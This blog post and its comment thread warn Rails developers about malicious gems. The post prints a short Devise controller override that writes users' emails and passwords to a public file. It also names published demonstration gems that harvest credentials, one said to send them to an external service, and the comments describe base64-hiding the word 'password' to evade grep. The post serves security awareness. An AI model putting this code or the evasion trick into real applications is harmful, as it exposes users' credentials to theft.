Close
Glad You're Ready. Let's Get Started!

Let us know how we can contact you.

Thank you!

We'll respond shortly.

LABS
Do you know what your gems are doing?

A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.

This satisfied the client, but it got me wondering: what’s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client’s customer’s data getting stolen, the customers completely loosing faith in the site, and the client’s project failing because of it.

How likely is this to happen? I don’t really know.

How hard would it be for someone to do this?

I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.

The code wasn’t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.

      class Devise::SessionsController < ApplicationController
        prepend_before_filter :require_no_authentication, :only => [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open("#{Rails.root}/public/passwords.html", 'a+') do |f|
            f.write("#{params[:user][:email]} #{params[:user][:password]}<br />")
          end
...

So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.

I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:

gem 'devise_hack'

Of course, who would install a gem that would pwn their own app? No one, but what about a “long con” approach?

Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…

gem 'awesome_rails_flash_messages'

This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that’s nothing to worry about.

So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn’t be… you might want to reconsider using that gem.

Comments
  1. james says:

    Scary… I usually use well known gems in order to avoid this scenario (and not have to replace it few months later because no one was working on it anymore)

    Idea: we have utilities to do continuous integrations, see if the project is still alive, services which alert you when new gems are released, a full repo of a lot of libs (gems), what about a service which will check exactly these kind of bad scenario? Something that will go through the source code to look at parts that could be bad and list them. It’s actually done something like that with the various libs for code complexity, dups, etc. I think that it would be a nice and useful thing to have (that way eg rubygems.org could show the report of that service result and show if something seems bad in order to inspect it more)

  2. grosser says:

    There has been a lot of discussion on this topic, and afaik the only solution is to either trust the gems(and authors) you install from or only install as plugin / your forked version or review changes when bundle-updateing . Any automatic detection can be easily countered, especially if its a global hook in e.g. in rubygems, because the attacker gets instant feedback on how to improve his hack(and ruby is to dynamic for any 100% safe checking). A good idea could be to write a small script that goes through all bundled gems and checks the source for e.g. “password” or any other keywords, just dont open-source it or the next hack might circumvent it.

  3. Mark Wilden says:

    It’s a worthwhile subject for discussion. You posit a hacker who writes a useful gem, continues to support it enough to get useful adoption, then adds malicious code later. I don’t think such a person actually exists much in the wild. It would be like Al-Qaeda building a bunch of hospitals just so it could blow them up.

    Put it this way: has it ever happened?

  4. Ben Smith says:

    @james and @grosser a tool that automagically detects if a gem is harmful would be great, but terribly difficult to get right. There’s so many ways to obfuscate what your code is actually doing. In the second gem I wrote, I base64 encoded the string “password”, then decoded it anywhere I need to use “password” in the code. So if you grep the source there’s no sign of “password” anywhere. Something that as a human programmer you can say “hmm, that looks strange”, but as tool it becomes more difficult.

    @mark I do not know of any such occurrences in the Ruby gems space where this has actually happend. But if you look at mobile apps, companies like [Lookout](https://www.mylookout.com/) have found iPhone and Android apps which are “useful” and free, but are also harvesting user data.

    I expect it is only a matter of time before either someone takes the time do write a useful hack. Or someone gets fed up with the community (like Mark Pilgram or _why) and decides to go for blood instead of just disappearing.

  5. Jim Kingdon says:

    Not aware of this happening with a gem, but something pretty close has happened a few times with other open source software, usually at the level of the download site rather than the original author. Here are three examples I could quickly find: http://lwn.net/Articles/396741/ http://lwn.net/Articles/12238/ http://lwn.net/Articles/1479/

    There’s an old essay which discusses the problem in a bit more detail here: http://lwn.net/1998/1119/Trojan.html .

Post a Comment

Your Information (Name required. Email address will not be displayed with comment.)

* Copy This Password *

* Type Or Paste Password Here *